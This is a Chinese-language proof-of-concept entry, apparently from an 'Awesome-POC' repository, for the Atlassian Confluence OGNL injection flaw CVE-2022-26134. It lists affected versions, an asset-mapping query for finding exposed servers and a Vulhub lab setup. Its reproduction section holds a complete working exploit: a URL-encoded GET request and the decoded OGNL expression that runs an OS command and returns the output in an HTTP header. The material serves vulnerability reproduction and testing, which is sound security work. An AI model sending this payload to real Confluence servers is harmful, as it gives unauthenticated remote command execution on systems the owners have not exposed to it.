Awesome-POC/Web应用漏洞/Atlassian Confluence OGNL表达式注入命令执行漏洞 CVE-2022-26134.md
2024-11-06 14:10:36 +08:00

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# Atlassian Confluence OGNL表达式注入命令执行漏洞 CVE-2022-26134
## 漏洞描述
Atlassian Confluence是企业广泛使用的wiki系统。2022年6月2日Atlassian官方发布了一则安全更新通告了一个严重且已在野利用的代码执行漏洞攻击者利用这个漏洞即可无需任何条件在Confluence中执行任意命令。
参考链接:
- https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
- https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis
## 漏洞影响
```
Atlassian Confluence 7.4.17
Atlassian Confluence 7.13.7
Atlassian Confluence 7.14.3
Atlassian Confluence 7.15.2
Atlassian Confluence 7.16.4
Atlassian Confluence 7.17.4
Atlassian Confluence 7.18.1
```
## 网络测绘
```
app="ATLASSIAN-Confluence"
```
## 环境搭建
Vulhub执行如下命令启动一个Confluence Server 7.13.6
```
docker-compose up -d
```
环境启动后,访问`http://your-ip:8090`即可进入安装向导,参考[CVE-2019-3396](https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2019-3396)这个环境中的安装方法申请试用版许可证。在填写数据库信息的页面PostgreSQL数据库地址为`db`,数据库名称`confluence`,用户名密码均为`postgres`
## 漏洞复现
该漏洞利用方法十分简单直接发送如下请求即可执行任意命令并在HTTP返回头中获取执行结果
```
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
```
其中使用到的OGNL表达式为
```
${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
```
![image-20220606145829007](images/202206061458141.png)